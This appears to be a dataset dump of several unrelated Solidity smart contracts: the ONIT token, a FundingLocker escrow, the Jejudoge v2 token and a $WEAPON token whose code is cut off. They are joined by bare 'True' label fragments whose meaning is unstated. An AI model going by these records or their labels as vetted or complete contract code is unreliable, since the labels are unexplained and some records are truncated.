OOOOOOOOO NNNNNNNN NNNNNNNIIIIIIIIII TTTTTTTTTTT
ONBUFF, IP Business Platform and IP Value-up Chain
*/
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract OnitContract is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
address public governance;
mapping (address => bool) public minters;
uint256 private _initSeedRound = 150;
constructor () public ERC20Detailed("onbuff.io", "ONIT", 0) {
governance = msg.sender;
_mint(governance,_initSeedRound*10**uint(decimals()));
}
function mint(address account, uint amount) public {
require(minters[msg.sender], "!minter");
_mint(account, amount);
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function addMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = true;
}
function removeMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = false;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-01-18
*/
// SPDX-License-Identifier: AGPL-3.0-or-later // hevm: flattened sources of contracts/FundingLocker.sol
pragma solidity =0.6.11 >=0.6.0 <0.8.0 >=0.6.2 <0.8.0;
////// lib/openzeppelin-contracts/contracts/math/SafeMath.sol
/* pragma solidity >=0.6.0 <0.8.0; */
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol
/* pragma solidity >=0.6.0 <0.8.0; */
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
////// lib/openzeppelin-contracts/contracts/utils/Address.sol
/* pragma solidity >=0.6.2 <0.8.0; */
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/SafeERC20.sol
/* pragma solidity >=0.6.0 <0.8.0; */
/* import "./IERC20.sol"; */
/* import "../../math/SafeMath.sol"; */
/* import "../../utils/Address.sol"; */
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
////// contracts/FundingLocker.sol
/* pragma solidity 0.6.11; */
/* import "lib/openzeppelin-contracts/contracts/token/ERC20/SafeERC20.sol"; */
/// @title FundingLocker holds custody of Liquidity Asset tokens during the funding period of a Loan.
contract FundingLocker {
using SafeERC20 for IERC20;
IERC20 public immutable liquidityAsset; // Asset the Loan was funded with.
address public immutable loan; // Loan this FundingLocker has funded.
constructor(address _liquidityAsset, address _loan) public {
liquidityAsset = IERC20(_liquidityAsset);
loan = _loan;
}
/**
@dev Checks that `msg.sender` is the Loan.
*/
modifier isLoan() {
require(msg.sender == loan, "FL:NOT_L");
_;
}
/**
@dev Transfers amount of Liquidity Asset to a destination account. Only the Loan can call this function.
@param dst Destination to transfer Liquidity Asset to.
@param amt Amount of Liquidity Asset to transfer.
*/
function pull(address dst, uint256 amt) isLoan external {
liquidityAsset.safeTransfer(dst, amt);
}
/**
@dev Transfers entire amount of Liquidity Asset held in escrow to the Loan. Only the Loan can call this function.
*/
function drain() isLoan external {
uint256 amt = liquidityAsset.balanceOf(address(this));
liquidityAsset.safeTransfer(loan, amt);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-08
*/
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.7.0;
contract Owned {
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
address owner;
address newOwner;
function changeOwner(address payable _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract ERC20 {
string public symbol;
string public name;
uint8 public decimals;
uint256 public totalSupply;
mapping (address=>uint256) balances;
mapping (address=>mapping (address=>uint256)) allowed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function balanceOf(address _owner) view public returns (uint256 balance) {return balances[_owner];}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require (balances[msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(msg.sender,_to,_amount);
return true;
}
function transferFrom(address _from,address _to,uint256 _amount) public returns (bool success) {
require (balances[_from]>=_amount&&allowed[_from][msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[_from]-=_amount;
allowed[_from][msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
allowed[msg.sender][_spender]=_amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Jejudoge_v2 is Owned,ERC20{
uint256 public maxSupply;
constructor(address _owner) {
symbol = "JEJUDOGE2";
name = "Jejudoge v2";
decimals = 18;
totalSupply = 1000000000000000*10**uint256(decimals);
maxSupply = 1000000000000000*10**uint256(decimals);
owner = _owner;
balances[owner] = totalSupply;
}
receive() external payable {
revert();
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-05
*/
pragma solidity 0.8.1;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// SPDX-License-Identifier: MIT
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IWEAPONStakable is IERC20 {
function stakedBalanceOf(address account) external view returns (uint256);
function getStake(address account) external view returns (uint256, uint256, uint256);
function stake(address account, uint256 amount, uint256 unstakeTime, bool isPlayer, uint256 adjustedStake) external;
function unstake(address account, uint256 unstakeAmount, bool isPlayer, uint256 adjustedStake) external;
function sync(address account, uint256 adjustedStake) external;
function toggleStaking() external;
}
contract WEAPON is Context, IWEAPONStakable {
bool private _swapping;
bool public stakingEnabled = false;
bool public mintLocked = true;
uint public mintLockTime = 1643673599;
mapping (address => bool) private _isPool;
mapping (address => uint256) private _balances;
mapping (address => uint256) private _stakedBalances;
mapping (address => uint256) private _stakeExpireTime;
mapping (address => uint256) private _stakeBeginTime;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 10 * 10**6 * 10**9;
string private constant _name = "Megaweapon";
string private constant _symbol = "$WEAPON";
string private constant _version = "2";
uint8 private constant _decimals = 9;
uint8 private _buyTax = 10;
uint8 private _sellTax = 10;
uint8 private _stakingRewards = 20;
address immutable private _lp;
address payable immutable private _vault;
address payable immutable private _multiSig;
address payable private _stakingContract;
address private constant _uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
IUniswapV2Router02 private UniV2Router;
constructor(address vault, address multiSig) {
require(vault != address(0) && multiSig != address(0), "$WEAPON: cannot assign privilege to zero address");
_lp = _msgSender();
_balances[_msgSender()] = _totalSupply;
UniV2Router = IUniswapV2Router02(_uniRouter);
_vault = payable(vault);
_multiSig = payable(multiSig);
}
event Stake(address indexed staker, uint256 amount, uint256 stakeTime, uint256 stakeExpire);
event Unstake(address indexed staker, uint256 amount, uint256 stakeAmountRemaining);
event Adjust(address indexed staker, uint256 oldStake, uint256 newStake);
event ChangeBuyTax(uint256 prevTax, uint256 newTax);
event ChangeSellTax(uint256 prevTax, uint256 newTax);
event ChangeRewards(uint256 prevRew, uint256 newRew);
event ToggleStaking(bool enabled);
event SetStakingContract(address stakingCon);
event SetPool(address isNowPool);
event FailsafeTokenSwap(uint256 amount);
event FailsafeETHTransfer(uint256 amount);
event FreezeMint(uint256 mintLockTime);
event ThawMint(uint256 mintLockTime);
modifier onlyMultiSig {
require (_msgSender() == _multiSig, "$WEAPON: unauthorized");
_;
}
modifier lockSwap {
_swapping = true;
_;
_swapping = false;
}
function name() external pure returns (string memory) {
return _name;
}
function symbol() external pure returns (string memory) {
return _symbol;
}
function version() external pure returns (string memory) {
return _version;
}
function decimals() external pure returns (uint8) {
return _decimals;
}
